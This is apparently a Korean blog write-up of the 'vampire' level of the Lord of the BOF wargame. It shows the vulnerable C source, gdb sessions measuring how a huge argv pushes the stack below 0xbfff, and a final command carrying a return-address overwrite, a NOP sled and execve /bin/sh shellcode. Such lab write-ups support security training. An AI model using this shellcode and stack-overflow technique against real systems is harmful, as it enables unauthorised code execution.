- User : troll
- 문제 : vampire
vampire.c의 소스코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | /* The Lord of the BOF : The Fellowship of the BOF - vampire - check 0xbfff */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // here is changed! if(argv[1][46] == '\xff') { printf("but it's not forever\n"); exit(0); } strcpy(buffer, argv[1]); // Vulnerability!!! printf("%s\n", buffer); } | cs |
argv의 갯수에 대한 제한은 없지만, argv[1]의 48번째 문자가 "0xbf"이어야 하고, 47번째 문자가 "0xff"이면 프로그램이 종료됩니다. 즉, RET 값을 Little Endian으로 "0xbfff" 보다 낮은 주소로 시작하는 값으로만 수정할 수 있습니다.
문제를 해결하기 위해서는 Stack의 메모리 구조에 대해 이해해야 합니다. Stack은 높은 주소 부터 쌓이게 되는데 이때 대량의 특정 값이 Stack에 쌓인 다면 다음 주소는 "0xbfff" 보다 한참 위가 될 것입니다.
Step 1. GDB를 이용하여 buffer의 크기를 파악해 보면 buffer는 40 Byte이고 그 다음 SFP와 RET가 위치해 있습니다.
Step 2. GDB를 이용하여 argv[2]에 대량의 값을 집어 넣고 esp의 시작 위치를 파악해 보면 아래와 같은 결과를 확인할 수 있습니다. argv[2]에 100 Byte만큼의 NOP 코드를 삽입하면 esp의 시작 주소는 0xbffffa58입니다. 이번에는 argv[2]에 10000 Byte 만큼의 NOP 코드를 삽입하면 esp의 시작 주소는 0xbfffd3a8이라는 것을 확인할 수 있습니다. 정확하지는 않지만 fa58 - d3a8을 해 보면 약 9000 만큼의 차이가 나는 것을 확인할 수 있습니다.
우리는 "0xbfff" 보다 낮은 주소로 RET 값을 수정해야 함으로 argv[2]에 100000 Byte 만큼의 NOP 코드를 삽입하여 esp의 시작 주소를 파악해 봅니다. esp의 시작 주소가 "0xbffe"로 시작함으로 이 곳에 shellcode를 삽입하면 문제를 해결할 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | (gdb) b *0x80484b9 Breakpoint 1 at 0x80484b9 (gdb) r `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*100'` Starting program: /home/troll/tmp/vampire `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*100'` Breakpoint 1, 0x80484b9 in main () (gdb) x/x $esp 0xbffffa58: 0xbffffa60 -------------------------------------------------------------------------------------------------------- (gdb) b *0x80484b9 Breakpoint 2 at 0x80484b9 (gdb) r `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*10000'` Starting program: /home/troll/tmp/vampire `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*10000'` Breakpoint 2, 0x80484b9 in main () (gdb) x/x $esp 0xbfffd3a8: 0xbfffd3b0 -------------------------------------------------------------------------------------------------------- (gdb) b *0x80484b9 Breakpoint 3 at 0x80484b9 (gdb) r `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*100000'` Starting program: /home/troll/tmp/vampire `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*100000'` Breakpoint 3, 0x80484b9 in main () (gdb) x/x $esp 0xbffe7418: 0xbffe7420 | cs |
Step 3. 이제 다음과 같은 payload를 만들 수 있습니다. argv[2]에 100 Byte의 NOP 코드와 shellcode, 그리고 100000 Byte 만큼의 NOP 코드를 삽입하고 argv[1]의 RET 값을 해당 shellcode 영역으로 덮어씌웁니다.
1 2 3 | [troll@localhost tmp]$ ./vampire `python -c 'print "A"*44+"\x60\x75\xfe\xbf"'` `python -c 'print "\x90"*100+"\xeb\x1f\x5e\x89 \x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc \xff\xff\xff/bin/sh"+"\x90"*100000'` | cs |
'WarGame > LOB' 카테고리의 다른 글
[LOB] skeleton :: LD_PRELOAD를 이용한 BOF (0) | 2016.04.06 |
---|---|
[LOB] vampire :: 초기화되지 않는 환경변수 영역 (0) | 2016.04.06 |
[LOB] orge :: 심볼릭 링크를 이용한 BOF (0) | 2016.04.05 |
[LOB] darkelf :: 심볼릭 링크를 통한 argv[0] 길이 제한 우회 (0) | 2016.04.05 |
[LOB] wolfman :: argv[2]를 이용한 BOF (0) | 2016.04.05 |